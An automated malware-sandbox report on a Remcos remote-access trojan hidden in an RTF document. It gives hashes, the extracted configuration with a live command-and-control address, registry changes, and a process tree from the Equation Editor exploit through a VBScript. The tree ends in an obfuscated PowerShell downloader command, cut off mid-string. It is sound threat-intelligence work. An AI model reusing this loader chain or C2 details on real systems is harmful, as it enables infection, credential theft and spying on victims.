remcos | 15e65087e321bdd318fa2ff785a9f30596748be76bfc5cf7802a7823a461ae96

Analysis

max time kernel
148s
max time network
142s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
01/04/2024, 01:39

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General

Target
73c5b71d2923b11a8b262321c6229520c93115f82c78d742f041a650725d482f.rtf
Size 63KB
Sample240401-b22dhsad28
SHA256 73c5b71d2923b11a8b262321c6229520c93115f82c78d742f041a650725d482f
MD5 b5b2948d407676eab86b1152e7ce5ec4
SHA1 85de7e562d97c36b9318393fd6185df6b1ba55b9
SHA512 b2048e775bccc0f0cc144fcfaa4e3067fa4ed2613f1e152323673c6497a82815d2ef366d29289214cf5f0007a3c8537af6f40b6ab07a1a936ed4f4612be9725a
SSDEEP 1536:fgoIW1uYod+RuUl9Zh7teyDdvqMhRSiupwk8uXjlh17AY9j:otyuYod+RuAZh84vSiowk8uXjlh17AYR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

107.172.31.178:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NVSJ5U
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 3 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/1948-209-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral1/memory/1948-208-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral1/memory/1948-230-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 3 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/3020-202-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/3020-201-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/3020-222-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 9 IoCs

resource	yara_rule
behavioral1/memory/3020-202-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/3020-201-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1948-209-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/1948-208-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/2484-216-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2484-215-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2484-217-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/3020-222-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1948-230-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	2544	EQNEDT32.EXE
7	2688	WScript.exe
9	2688	WScript.exe
12	1192	powershell.exe
14	1192	powershell.exe
16	1192	powershell.exe
17	1192	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\KRTF.vbs"	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1192 set thread context of 1312	1192	powershell.exe	38
PID 1312 set thread context of 3020	1312	RegAsm.exe	40
PID 1312 set thread context of 1948	1312	RegAsm.exe	41
PID 1312 set thread context of 2484	1312	RegAsm.exe	42

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2544	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2356	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2756	powershell.exe
1192	powershell.exe
1040	powershell.exe
3020	RegAsm.exe
3020	RegAsm.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1312	RegAsm.exe
1312	RegAsm.exe
1312	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2484	RegAsm.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2688	2544	EQNEDT32.EXE	29
PID 2544 wrote to memory of 2688	2544	EQNEDT32.EXE	29
PID 2544 wrote to memory of 2688	2544	EQNEDT32.EXE	29
PID 2544 wrote to memory of 2688	2544	EQNEDT32.EXE	29
PID 2688 wrote to memory of 2756	2688	WScript.exe	32
PID 2688 wrote to memory of 2756	2688	WScript.exe	32
PID 2688 wrote to memory of 2756	2688	WScript.exe	32
PID 2688 wrote to memory of 2756	2688	WScript.exe	32
PID 2756 wrote to memory of 1192	2756	powershell.exe	34
PID 2756 wrote to memory of 1192	2756	powershell.exe	34
PID 2756 wrote to memory of 1192	2756	powershell.exe	34
PID 2756 wrote to memory of 1192	2756	powershell.exe	34
PID 2356 wrote to memory of 1112	2356	WINWORD.EXE	35
PID 2356 wrote to memory of 1112	2356	WINWORD.EXE	35
PID 2356 wrote to memory of 1112	2356	WINWORD.EXE	35
PID 2356 wrote to memory of 1112	2356	WINWORD.EXE	35
PID 1192 wrote to memory of 1040	1192	powershell.exe	36
PID 1192 wrote to memory of 1040	1192	powershell.exe	36
PID 1192 wrote to memory of 1040	1192	powershell.exe	36
PID 1192 wrote to memory of 1040	1192	powershell.exe	36
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1192 wrote to memory of 1312	1192	powershell.exe	38
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 3020	1312	RegAsm.exe	40
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 1948	1312	RegAsm.exe	41
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42
PID 1312 wrote to memory of 2484	1312	RegAsm.exe	42

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\73c5b71d2923b11a8b262321c6229520c93115f82c78d742f041a650725d482f.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1112

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\imgeloversaround.vbs"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0Dg